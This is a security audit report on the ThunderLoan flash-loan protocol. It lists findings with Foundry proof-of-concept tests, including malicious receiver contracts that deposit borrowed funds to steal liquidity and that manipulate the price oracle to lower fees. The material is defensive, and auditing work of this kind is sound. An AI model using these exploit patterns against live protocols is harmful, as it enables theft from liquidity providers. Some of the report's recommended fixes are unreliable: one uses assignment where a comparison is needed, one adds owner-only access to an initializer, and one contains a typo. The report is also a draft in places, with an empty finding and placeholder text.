ThunderLoan Protocol Audit Report

Version 1.0

Norbert Orgován

February 13, 2024

Protocol Audit Report

Norbert Orgován

February 13, 2024

Prepared by: Orgovan & Churros

Lead Auditors: - Norbert Orgován

Table of Contents

- Medium
  * [M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks
  * [M-2] The USDC contract can be upgraded by a centralized entitiy, putting the protocol at risk of freeze
- Low
  * [L-1] `ThunderLoan::initialize` does not have access control, making initialization of this smart contract vulnerable to front-running
  * [L-2] `ThunderLoan:flashloan` and `ThunderLoan::repay` logic cannot handle multiple ongoing flash loans, `repay` cannot be used to repay a flashloan if it has another flashloan within it
  * [L-3] `ThunderLoan::_authorizeUpgrade` has an empty function body
- Informational
  * [I-1] Unused import in `IFlashLoanReceiver.sol`
  * [I-2] Crucial functions do not have a natspec
  * [I-3] `IThunderLoan.sol` is not imported in `ThunderLoan.sol`, and the `repay` functions in these two contracts have different function signatures, causing confusion for external users who want to interact with `ThunderLoan.sol`
  * [I-4] Missing check for `address(0)` when assigning a value to address storage variable in `OracleUpgradeable::__Oracle_init_unchained`
  * [I-5] Missing fork tests to test the interaction with crucial external protocol `TSwap` might lead to undiscovered bugs and vulnerabilities
  * [I-6] `OracleUpgradeable::getPrice` and `OracleUpgradeable::getPriceInWeth` are redundant to each other, wasting gas
  * [I-7] Custom error `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` is defined but not used
  * [I-8] `ThunderLoan::repay`, `ThunderLoan::getAssetFromToken`, `ThunderLoan::currentlyFlashLoaning`, `ThunderLoanUpgraded::repay`, `ThunderLoanUpgraded::getAssetFromToken`, `ThunderLoanUpgraded::currentlyFlashLoaning` can be declared as an external functions
- Gas
  * [G-1] `AssetToken::updateExchangeRate` reads storage too many times to get the value of the same variable `s_exchangeRate`, wasting gas
  * [G-2] `ThunderLoan::s_freePrecision` is never changed, but is not declared as a constant, wasting gas

Protocol Summary

Thunder Loan is a flash loan protocol that draws inspiration from Aave and Compound. It allows users to perform flash loans and provides a mechanism for liquidity providers to earn interest on their capital.

Core Features:

- Flash Loans: Users can borrow assets for the duration of one transaction, with the requirement that the borrowed amount and a fee are repaid within the same transaction. This ensures the safety of the loans, as any failure to repay results in the transaction being reverted.
- Liquidity Provision: Individuals can deposit assets into Thunder Loan in exchange for AssetTokens. These tokens accrue interest based on the utilization of the protocol for flash loans.
- Fee Calculation: The protocol calculates borrowing fees using the TSwap price oracle, which helps determine the fee based on the amount borrowed.

Disclaimer

The Orgovan & Churros team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
#-- interfaces
|    #-- IFlashLoanReceiver.sol
|    #-- IPoolFactory.sol
|    #-- ITSwapPool.sol
|    #-- IThunderLoan.sol
#-- protocol
|    #-- AssetToken.sol
|    #-- OracleUpgradeable.sol
|    #-- ThunderLoan.sol
#-- upgradedProtocol
     #-- ThunderLoanUpgraded.sol
```

- Solc Version: 0.8.20
- Chain(s) to deploy contract to: Ethereum
- ERC20s:
  - USDC
  - DAI
  - LINK
  - WETH

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
-

Executive Summary

We had 1 expert auditor assigned to this audit who spent xxx hours to thouroughly review the ThunderLoan codebase. Using both manual review and a number of tools (e.g. static analysis tools Slyther, Aderyn), a significant number of vulnerabilites have been found, as detailed below.

Severity	Number of issues found
High	3
Medium	2
Low	3
Informational	8
Gas	2
Total	18

Issues found

Findings

High

[H-1] Flash loan repayment bypass allows unathorized withdrawals

Description: According to the logic in `ThunderLoan::flashloan`, a flashloan process is successfully executed (does not revert) if the protocol balance after a flash loan is bigger than the protocol balance before the flash loan plus the flash loan fee:

```
        uint256 endingBalance = token.balanceOf(address(assetToken));
        if (endingBalance < startingBalance + fee) {
            revert ThunderLoan__NotPaidBack(startingBalance + fee,
                endingBalance);
        }
```

However, (1) the protocol does not check how this requirement is satisfied, and (2) `ThunderLoan::deposit` does not check whether a user tries to deposit tokens borrowed from a flash loan. Consequently, a user requesting a flash loan do not need to actually repay the flash loan, instead they can deposit the borrowed amount to the protocol as if they were a liquidity provider, and the protocol will consider the flash loan paid back.

Impact: A user can game the protocol by requesting a flash loan and deposit the borrowed amount instead of repaying it. The protocol will consider the user to be a liquidity provider who then can steal the funds from the protocol by calling `ThunderLoan::withdraw`, as a liquidity provider would when withdrawing liquidity. Real liquidity providers lose their liquidiy and the interest they the protocol was accumulating for them from fees.

Proof of Concept: Consider the following scenario:

1. A user requests a flash loan for 100 tokenA.
2. Instead of repaying, user deposits 100 token A plus fees to the protocol, and the protocol will consider the flash loan to be paid back.
3. The user calls `withdraw` to steal 100 tokenA from the protocol.

Prood of Code

Insert this piece of code to `ThunderLoanTest.t.sol`:

```
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
    function test_useDepositInsteadOfRepayToStealFunds() public setAllowedToken hasDeposits {
        // @note tokenA is the underlying token, it is allowed via modifier, ThunderLoan is funded via modifier
        // @note MockTSwapPool does not need funding its function getPriceOfOnePoolTokenInWeth() always returns 1e18

        uint256 amountToBorrow = AMOUNT * 5; // 50e18
        uint256 amountForFees = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        uint256 initialAssetBalance;
        uint256 endingAssetBalance;
        uint256 initialUnderlyingBalance;
        uint256 endingUnderlyingBalance;

        // deploy the malicious flash loan receiver
        MaliciousFlashLoanReceiver_depositOverRepay dor =
            new MaliciousFlashLoanReceiver_depositOverRepay(address(thunderLoan));
        // give funds to the contract
        console.log("balance_0: %e ", tokenA.balanceOf(address(dor)));
        tokenA.mint(address(dor), amountForFees);
        initialAssetBalance = IERC20(address(thunderLoan.getAssetFromToken(tokenA))).balanceOf(address(dor));
        initialUnderlyingBalance = tokenA.balanceOf(address(dor));
```

```
        console.log("balance_1: %e ", tokenA.balanceOf(address(dor)));

        vm.startPrank(user);
        // flash loan request for 50e18 tokanA which we will not repay but deposit
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        vm.stopPrank();

        endingAssetBalance = IERC20(address(thunderLoan.getAssetFromToken(tokenA))).balanceOf(address(dor));
        endingUnderlyingBalance = tokenA.balanceOf(address(dor));

        console.log("Initial asset balance: %e ", initialAssetBalance);
        console.log("Ending asset balance: %e ", endingAssetBalance);
        console.log("Initial underlying balance: %e ", initialUnderlyingBalance);
        console.log("Ending underlying balance: %e ", endingUnderlyingBalance);

        vm.prank(address(dor));
        // trying to redeem what we deposited instead instead of having been repaying it
        thunderLoan.redeem(tokenA, endingAssetBalance);

        endingUnderlyingBalance = tokenA.balanceOf(address(dor));
        console.log("-----Initial underlying balance: %e ", initialUnderlyingBalance);
        console.log("-----Final underlying balance: %e ", endingUnderlyingBalance);

        // @note this holds true only if we leave the ThunderLoan contract as-is,
        // and do not correct the bug in the deposit() function by removing the 2 problematic lines of code.
        // If that part is corrected, however, than the LHS is slighly less than the RHS.
        assertGt(endingUnderlyingBalance, amountToBorrow + amountForFees);
    }
```

and also the following contract:

```
contract MaliciousFlashLoanReceiver_depositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

```

```
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        IERC20(token).approve(address(thunderLoan), amount + fee);
        // deposit instead of repay
        thunderLoan.deposit(IERC20(token), amount + fee);

        return true;
    }
}
```

Recommended Mitigation: Disable deposits during a flash loan by preventing reentrancy from `flashloan`:

```
+   error ThunderLoan__CurrentlyFlashLoaning();


    function deposit(IERC20 token, uint256 amount) external
       revertIfZero(amount) revertIfNotAllowedToken(token) {
+       if(s_currentlyFlashLoaning[token] = true){
+           revert ThunderLoan__CurrentlyFlashLoaning();
+}
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.
           EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
        uint256 calculatedFee = getCalculatedFee(token, amount);
        assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount)
           ;
    }
```

[H-2] Erroneus `ThunderLoan::updateExchangeRate` in the `depost` function causes protocol to think is has collected more fees than it actually does, which blocks redemption and incorrectly sets the exchange rate

Description: In the `ThunderLoan` system, the `echangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, it is responsible it is resposible for keeping track how many fees to give to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts to this bug:

1. The `redeem` function is blocked, becsuase the protocol thinks the owed tokens is more than it has on its balance.
2. Rewards are incorrecly calculated, leading to liquidity providers getting way more or less than deserved.

Proof of Concept: Consider the following scenario:

1. LP deposits.
2. User takes out a flash loan.
3. It is now impossible to redeem.

Insert the following piece of code in `ThunderLoanTest.t.sol`:

Proof of Code

```

    function test_redeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee); // for the fee
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
```

```
        uint256 amountToRedeem = type(uint256).max; // in the redeem function, this is switched with the whole balance

        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();

        // @note fails!
        // initial deposit: 1000e18
        // fee: 3e17
        // balance: 1000.3e18
        // reqd to transfer back: 1003.3e18
    }
```

Recommended Mitigation: Remove the incorrectly update exchange lines from `deposit` as follows:

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
```

[H-3] Mixing up variable locations causes strorage collisions in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol

Description: `ThunderLoan.sol` has 2 variables in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how storage works in Solidity, after the upgrade `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables, and removing storage variables for constants also breaks storage locations.

Impact: After the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out a flash loan right after the update will get charged an incorrect fee.

More importantly, the `s_currentlyFlashLoaning` mapping will start at the wrong storage slot, which will freeze the protocol, at least for the token that is in the first element of the mapping.

Proof of Concept: Insert this piece of code to `ThunderLoanTest.t.sol`:

Proof of Code

```
    import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
       ThunderLoanUpgraded.sol";
    .
    .
    .
    function test_upgradeBreaksStorage() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded(); //
           deploy the new implementation contract
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("Fee before upgrade: ", feeBeforeUpgrade);
        console.log("Fee after upgrade: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and then `forge inspect ThunderLoanUpgraded storage`.

Recommended Mitigation: If you must remove the storage variable, leave it as blank to not mess up storage slots:

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee; // 0.3% ETH fee
+    uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based automated market maker (AMM). In it, the price of a token is determined by the amount of reserves in either side of the pool. Because of this, it is easy for a malicious user to manipulate the price of a token by either selling or buying large amounts of said token in the same transaction, effectively avoiding or lowering flash loan fees.

Impact: Liquidity providers will get drastically reduced fees for providing liquidity.

Proof of Concept: Consider the following scenario:

A user sets up a malicious contract with a flash loan callback function implementation designed to swap the borrowed amount for another token to tank the price and fees, and then request a new flash loan inside an ongoing flash loan. The following all happens in one transaction:

1. User requests a flash loan of 50 tokenA for the malicious contract by calling `ThunderLoan::flashloan`. They are chared the original fee.
2. User swaps the borrowed tokenA in TSwap's tokenA-WETH pool, effectively tanking the price of the token relative to WETH (oracle manipulation).
3. The `executeOperation` function (which is the function called back by the flashloan provider) in the malicious contract requests a new flash loan for 50 tokenA. Due to the fact that `ThunderLoan` calculates fees based on prices determined by `TSwapPool`, this second flash loan is significantly cheaper:

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
@>      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
    ();
    }
```

4. User swaps back his WETH to tokenA, restoring the initial tokenA-WETH ratio in the TSwap pool.
5. User pays back the second loan with fees, these fees are smaller due to the oracle manipulation.
6. User pays back the first loan with fees.

Prood of Code

Insert this piece of code to `ThunderLoanTest.t.sol`

```

import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/
    ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/
    IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"
    ;
```

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/ThunderLoanUpgraded.sol";
.
.
.
    function test_OracleManipulation() public {
        // 1. Set up contracts (the mock contracts are not as detailed as we need them to be. They miss a lot of funcs.)
        // @note we need to use the buffed TSwap mock contracts: the vulnaribility tested here comes from the a Tswap
        // pool being used as a price oracle. The base mock TSwap contracts are, however, stripped down and do not have
        // the functionality we need to demonstrate what effect the price changes might have (i.e. MockTSwapPool is
        // designed so that its only function getPriceOfOnePoolTokenInWeth() returns 1e18, and does not need funding
        // @note with the excpetion of pf, these contracts are already deployed by setUp, but we need to recreate them
        // as setUp initializes thunderLoan with the mock contract, but we need it to be initialized wiht the buffed
        // mocked contact, pf
        thunderLoan = new ThunderLoan(); // recreate it
        tokenA = new ERC20Mock(); // recreate it
        proxy = new ERC1967Proxy(address(thunderLoan), ""); //recreate it
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        address tSwapPool = pf.createPool(address(tokenA));
        // This line is reassigning tl to a new instance of ThunderLoan, but this time it's not creating a new contract.
        // Instead, it's casting an existing contract (referred to by proxy) to the ThunderLoan type.
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund Tswap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tSwapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tSwapPool), 100e18);
        BuffMockTSwap(tSwapPool).deposit(100e18, 100e18, 100e18, block.timestamp); // i.e. ratio is 1:1
        vm.stopPrank();

        // 3. Fund ThunderLoan
        vm.startPrank(thunderLoan.owner());
        // allow
        thunderLoan.setAllowedToken(tokenA, true);
        vm.stopPrank();
```

```
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        // fund
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // so 100e WETH and 100e tokenA in tSwap
        // and 100e in ThunderLoan

        // 4. Taking out 2 flashloans:
        // ---a. To nuke the price of weth/tokenA on Tswap:
        // -----i. take out a flash loan of 50 tokenA
        // -----ii. swap it on the dex, tanking the price
        // ---b. to show that doing so greatly reduces the fees we need to pay on ThunderLoan
        // -----i. take out another 50 tokenA flashloan (and we will se how much cheaper it is)
        uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console.log("Normal fee is: ", normalFee); // 296147410319118389 In 2 steps, we will borrow the whole 100e18
        uint256 amountToBorrow = 40e18; // then we are gonna borrow the remaining 60e18 in the 2nd loan

        MaliciousFlashLoanReceiver_manipulatesOracleForDecreasedFees mFLR = new MaliciousFlashLoanReceiver_manipulatesOracleForDecreasedFees(
            tSwapPool, address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)), address(weth)
        );
        console.log("balance_0: ", tokenA.balanceOf(address(mFLR)));

        vm.startPrank(user);
        // @note 1 * normalFee is insufficient, as we need to cover not only the fee of loans but also the fee of swaps!
        // @note roundUp is only used to acquire nice round numbers that results in more readable log outputs
        uint256 amountForFees = roundUp(2 * normalFee);
        tokenA.mint(address(mFLR), amountForFees); // to cover the fees. 50e18 is not enough why?

        console.log("balance_1: ", tokenA.balanceOf(address(mFLR)));

        thunderLoan.flashloan(address(mFLR), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = mFLR.feeOne() + mFLR.feeTwo();
```

```
        console.log("Attack fee is: ", attackFee);

        assert(attackFee < normalFee);
    }


    /**
     * just for better clarity in the logs, we round up the fee value,
        i.e. 296147410319118389 to 3e17
     */
    function roundUp(uint256 number) internal pure returns (uint256) {
        uint256 increment = 1;
        while (number > increment) {
            increment *= 10;
        }
        increment /= 10; // Adjust back one step as the loop goes one
            step too far

        if (increment == 0) return number;
        uint256 remainder = number % increment;
        if (remainder == 0) return number;
        return number + increment - remainder;
    }
```

and also add this contract to the same file:

```

contract MaliciousFlashLoanReceiver_manipulatesOracleForDecreasedFees
    is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    address wethAddress;
    BuffMockTSwap tSwapPool;
    bool attacked = false;
    uint256 public feeOne;
    uint256 public feeTwo;
    uint256 tokenBalance;
    uint256 wethBought;
    uint256 firstLoanAmount;
    uint256 secondLoanAmount;

    constructor(address _tSwapPool, address _thunderLoan, address
        _repayAddress, address _wethAddress) {
        tSwapPool = BuffMockTSwap(_tSwapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
        wethAddress = _wethAddress;
    }

    /**
     * This is called by ThunderLoan after a flashLoan has been
```

```
requested where this contract was marked as receiver.
     * This function does the following:
     *
     * 1. swaps the firstLoanAmount to WETH (wethBought amount), which decreases the price of token relative to WETH
     * 2. requests a second loan for secondLoanAmount - this results in a second invocation of executeOperation()
     * ---- the 2nd invocation (i.e. the else branch) finishes first, and then execution of the 1st invocation (if)
     * resumes
     * 3. swaps wethBought amount of WETH back to token
     * 4. repays secondLoanAmount with fees
     * 5. repays firstLoanAmount with fees
     *
     * @notice step 4 and 5 cannot be joined: we cannot pay back the 2 flashloans all at once at the end of the if()
     * branch,
     * becasue the contract checks for repayment immediately after each executeOperation call,
     * and the 2nd invocation of the executeOperation ends in the else () branch.
     *
     * Log output:
     *   Normal fee is:  296147410319118389
     *   balance_0:  0
     *   balance_1:  600000000000000000
     *   balance_2:  40600000000000000000
     *   balance_3:  600000000000000000
     *   balance_6:  60600000000000000000
     *   balance_7:  100428535072462606707
     *   balance_8:  40337543291067857789
     *   balance_4:  40337543291067857789
     *   balance_5:  219084326940210434
     *   Attack fee is:  209450745522396273
     *
     */
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            firstLoanAmount = amount;
            secondLoanAmount = 100e18 - firstLoanAmount;

```

```
            console.log("balance_2: ", IERC20(token).balanceOf(address(this)));

            attacked = true;
            // not necessary
            //wethBought = tSwapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
            IERC20(token).approve(address(tSwapPool), firstLoanAmount);
            // swap: this tanks the price of the token in terms of WETH
            tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(firstLoanAmount, 1, block.timestamp);
            wethBought = IERC20(wethAddress).balanceOf(address(this));
            console.log("balance_3: ", IERC20(token).balanceOf(address(this)));

            /**
             * 2nd flash loan request
             *         @note This triggers the 2nd invocation of executeOperation().
             *         So execution will contine in the else() branch and when that is done,
             *         execution will resume on this (if) branch.
             */
            thunderLoan.flashloan(address(this), IERC20(token), secondLoanAmount, "");
            console.log("balance_4: ", IERC20(token).balanceOf(address(this)));

            // repay 1: this does not work due to an issue with the contract:
            // you cannot user repay to repay a flash loan inside a flash loan
            /* IERC20(token).approve(address(tSwapPool), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee); // repay 1    // q cant we repay all at once? No! */
            // instead:
            IERC20(token).transfer(repayAddress, firstLoanAmount + fee);
            console.log("balance_5: ", IERC20(token).balanceOf(address(this)));
        } else {
            // calculate the fee and repay flash loan 2
            feeTwo = fee;
            // swap WETH back to token
            console.log("balance_6: ", IERC20(token).balanceOf(address(this)));
            IERC20(wethAddress).approve(address(tSwapPool), wethBought);
            tSwapPool.swapWethForPoolTokenBasedOnInputWeth(wethBought, 1, block.timestamp);
            console.log("balance_7: ", IERC20(token).balanceOf(address(
```

```
                    this)));

                // repay 2
                IERC20(token).transfer(repayAddress, secondLoanAmount + fee
                    );
                console.log("balance_8: ", IERC20(token).balanceOf(address(
                    this)));
            }
            return true;
        }
    }
```

Recommended Mitigation: Use a different price oracle mechanism, like a ChainLink price feed with a Uniswap TWAP fallback oracle.

[M-2] The USDC contract can be upgraded by a centralized entitiy, putting the protocol at risk of freeze

Description:

Impact:

Low

[L-1] `ThunderLoan::initialize` does not have access control, making initialization of this smart contract vulnerable to front-running

Description: The `initialize` function is intended to initialize contract state variables and configurations. Given that its visibility is `external` and it has no access control, anybody could call it.

```
    function initialize(address tswapAddress) external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
        __Oracle_init(tswapAddress);
        s_feePrecision = 1e18;
        s_flashLoanFee = 3e15; // 0.3% ETH fee
    }
```

Impact: Due to its external visibility and lack of controls to prevent unauthorized access, malicious actors could potentially exploit this function to manipulate contract settings if the transaction is visible in the mempool before being mined.

Recommended Mitigation: Implement access controls as follows:

```
-    function initialize(address tswapAddress) external initializer {
+    function initialize(address tswapAddress) external onlyOwner
    initializer {

         __Ownable_init(msg.sender);
         __UUPSUpgradeable_init();
         __Oracle_init(tswapAddress);
         s_feePrecision = 1e18;
         s_flashLoanFee = 3e15; // 0.3% ETH fee
     }
```

[L-2] `ThunderLoan:flashloan` and `ThunderLoan::repay` logic cannot handle multiple ongoing flash loans, `repay` cannot be used to repay a flashloan if it has another flashloan within it

Description: `repay` is supposed to be used to repay a flash loan. However, this function contains a check that prevents its use if the `s_currentlyFlashLoaning[token]` boolean is **`false`**, which is set to this value at the end of every flash loan process, in `ThunderLoan:flashloan`. Hence, if a user takes out a flash loan within a flash loan for the same token, the user can use `repay` to repay only the 2nd flash loan, but then will not be able to repay the first one due to the conditional.

Impact: If a user takes out a flash loan within a flash loan for the same token, the user can use `repay` to repay only the 2nd flash loan, but then will not be able to repay the first one due to the conditional.

However, alternatively, the user could use the `transfer` function to pay back the flash loan and the associated fees.

[L-3] `ThunderLoan::_authorizeUpgrade` has an empty function body

Description: The access control implemented for `_authorizeUpgrade` ensures that `ThunderLoan` can be upgraded only by its owner, not anybody else. The function has an empty body, but no documentation is provided for explanation.

```
    function _authorizeUpgrade(address newImplementation) internal
        override onlyOwner { }
```

Proof of Concept: Consider the following scenario:

1. User requests a flash loan for 100 tokenA, `s_currentlyFlashLoaning[tokenA]` is set to **`true`**.
2. Within the ongoing 1st flash loan, the user requests a second flash loan for 100 tokenA, `s_currentlyFlashLoaning[tokenA]` is set to **`true`**.

3. User repays the 2nd flashloan by calling `repay`, the 2nd flash loan process finishes, `s_currentlyFlashLoaning[tokenA]` is set to **`false`**.
4. User attempts to repay the 1st flash loan by calling `repay`, the condiditional finds `s_currentlyFlashLoaning[tokenA]` to be **`false`** and, consequently, the whole transaction (including the 1st and 2nd flash loans) are reverted.

Recommended Mitigation: Reconsider the logic in `ThunderLoan:flashloan` and `ThunderLoan::repay`.

Informational

[I-1] Unused import in `IFlashLoanReceiver.sol`

Description: `IFlashLoanReceiver.sol` imports `IThunderLoan.sol`, but this imported file is not used in the live code (named imports are being used throughout the project, and none of the files which import `IFlashLoanReceiver.sol` name `IThunderLoan.sol` with them). It is, however, used in the mock file `MockFlashLoanReceiver.sol`, but editing live code for testing purposes is bad practice.

```
import { IThunderLoan } from "./IThunderLoan.sol";
```

Impact: Unused imports might create confusion.

[I-2] Crucial functions do not have a natspec

Description: No natspec, docementation, explanation is provided for key functions: 1. `IFlashLoanReceiver::executeOperation` 2. `ThunderLoan::deposit` 3. `ThunderLoan::flashloan` 4. `ThunderLoan::repay` 5. `ThunderLoan:getCalculatedFee`

[I-3] `IThunderLoan.sol` is not imported in `ThunderLoan.sol`, and the `repay` functions in these two contracts have different function signatures, causing confusion for external users who want to interact with `ThunderLoan.sol`

Description: The `IThunderLoan.sol` interface was supposed to guide the development of `ThunderLoan.sol` by declaring the `repay` function which was supposed to be implemented in `ThunderLoan.sol`. However, the interface is not imported in `ThunderLoan.sol`, making its existence pointless. Somewhat a result of this missed import, the `repay` function that eventually did get implemented in `ThunderLoan.sol` has different parameters than the `repay` function declared in the interface.

Compare `ThunderLoan::repay`:

```
    function repay(IERC20 token, uint256 amount) public
```

and `IThunderLoan::repay`

```
    function repay(address token, uint256 amount) external;
```

Impact: Somehwat as a result of the interface not having been imported in `ThunderLoan.sol`, the implementation of the `repay` function does not match the original function signature as it was declared in the interface. External users who want to interact with `ThunderLoan.sol` cannot use its interface to do so.

[I-4] Missing check for `address(0)` when assigning a value to address storage variable in `OracleUpgradeable::__Oracle_init_unchained`

Description: `OracleUpgradeable::__Oracle_init_unchained` assigns a value to address storage variable `s_PoolFactory`. However, no check is implemented for `address(0)`.

```
    function __Oracle_init_unchained(address poolFactoryAddress)
        internal onlyInitializing {
        s_poolFactory = poolFactoryAddress;
    }
```

Impact: Performing zero address checks when assigning values to address storage variables is crucial for several reasons, primarily related to security, functionality, and the prevention of common mistakes in smart contract development

Failing to do so might lead to: - accidental loss of funds - hacks - logical errors

Recommended Mitigation: Implement a zero-address check as follows:

```
    function __Oracle_init_unchained(address poolFactoryAddress)
        internal onlyInitializing {
+       require(poolFactoryAddress != adress(0), "Address cannot be a
    zero address");
        s_poolFactory = poolFactoryAddress;
    }
```

[I-5] Missing fork tests to test the interaction with crucial external protocol TSwap might lead to undiscovered bugs and vulnerabilities

Description: The `ThunderLoan` protocol heavily relies on the expernal protocol `TSwap`. However, the test suite utilizes an extremely stripped-down mock version of `TSwap` which lacks most of the functionality of the real external protocol.

Impact: Potentially undiscovered bugs and vulnerabilites.

Recommended Mitigation: Use forked tests to test the interaction of `ThunderLoan` and `Tswap`.

[I-6] `OracleUpgradeable::getPrice` and `OracleUpgradeable::getPriceInWeth` are redundant to each other, wasting gas

Description: `getPriceInWeth` and `getPrice` perform the same operation, which is to return the price of a given token in WETH (Wrapped Ethereum).

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }

    function getPrice(address token) external view returns (uint256) {
        return getPriceInWeth(token);
    }
```

